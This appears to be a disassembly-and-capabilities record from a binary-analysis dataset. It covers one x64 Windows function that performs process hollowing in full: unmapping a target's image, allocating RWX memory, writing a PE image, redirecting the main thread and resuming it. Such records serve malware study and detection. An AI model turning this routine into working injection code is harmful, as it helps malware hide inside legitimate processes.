Function at 0x1400022d6
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resume thread

Disassembly:
push rbp
sub rsp, 0x530
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4c0], rcx
mov qword [rbp + 0x4c8], rdx
mov qword [rbp + 0x4d0], r8
call dbg.InitNtUnmapView
test eax, eax
jne 0x140002333
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_initialize_NtUnmapView__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0x4a0], rax
mov rax, qword [rbp + 0x4a0]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14000239d
mov rax, qword [rbp + 0x4a0]
movzx eax, word [rax]
movzx eax, ax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Invalid_DOS_header_signature:_0x_X_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x3c]
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_34m__e_0m___s__e_lfanew_value:__lx_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x3c]
test eax, eax
je 0x1400023f0
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4d0]
sub rax, 0x108
cmp rdx, rax
jb 0x140002420
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x3c]
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Invalid_e_lfanew:_0x_lx_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
mov rax, qword [rbp + 0x4a0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4c8]
add rax, rdx
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000247d
mov rax, qword [rbp + 0x498]
mov eax, dword [rax]
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Invalid_NT_header_signature:_0x_X_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x498]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x4c0]
mov r9, rax
mov r8, rdx
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_34m__e_0m___s__Attempting_to_unmap_ImageBase:_0x_p_from_process:_0x_p_n
mov rcx, rax
call dbg.printf
mov r8, qword [0x140010030]
mov rax, qword [rbp + 0x498]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call r8
test eax, eax
je 0x140002538
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Its_jover_n
mov rcx, rax
call dbg.printf
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_unmap_the_section_from_the_target_process__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x498]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x498]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x4c0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x490], rax
cmp qword [rbp + 0x490], 0
jne 0x1400025cf
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_allocate_memory_in_the_target_process__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x498]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rcx, qword [rbp + 0x4c8]
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x4c0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140002658
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_write_headers_to_the_target_process__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov dword [rbp + 0x4ac], 0
jmp 0x140002753
mov rax, qword [rbp + 0x498]
lea r8, [rax + 0x18]
mov rax, qword [rbp + 0x498]
movzx eax, word [rax + 0x14]
movzx ecx, ax
mov eax, dword [rbp + 0x4ac]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, r8
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x4c8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x480]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x490]
add rdx, rax
mov rax, qword [rbp + 0x4c0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x14000274c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_write_section_to_the_target_process__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
add dword [rbp + 0x4ac], 1
mov rax, qword [rbp + 0x498]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x4ac], eax
jl 0x140002680
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov dword [rbp - 0x20], 0x10000b
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessId]
call rax
mov ecx, eax
call dbg.GetMainThreadId
mov r8d, eax
mov edx, 0
mov ecx, 0x1a
mov rax, qword [sym.imp.KERNEL32.dll_OpenThread]
call rax
mov qword [rbp + 0x488], rax
cmp qword [rbp + 0x488], 0
jne 0x1400027fd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_open_thread_handle__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
jne 0x140002860
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_get_thread_context__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x498]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x490]
add rax, rdx
mov qword [rbp + 0x28], rax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
test eax, eax
jne 0x1400028f3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_31m___e_0m___s__Failed_to_set_thread_context__error:__ld_n
mov rcx, rax
call dbg.printf
mov eax, 0
jmp 0x140002950
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x14000cc00]
mov rdx, rax
lea rax, str.e_1me_32m__e_0m___s__ALL_GOOD_n
mov rcx, rax
call dbg.printf
mov eax, 1
add rsp, 0x530
pop rbp
ret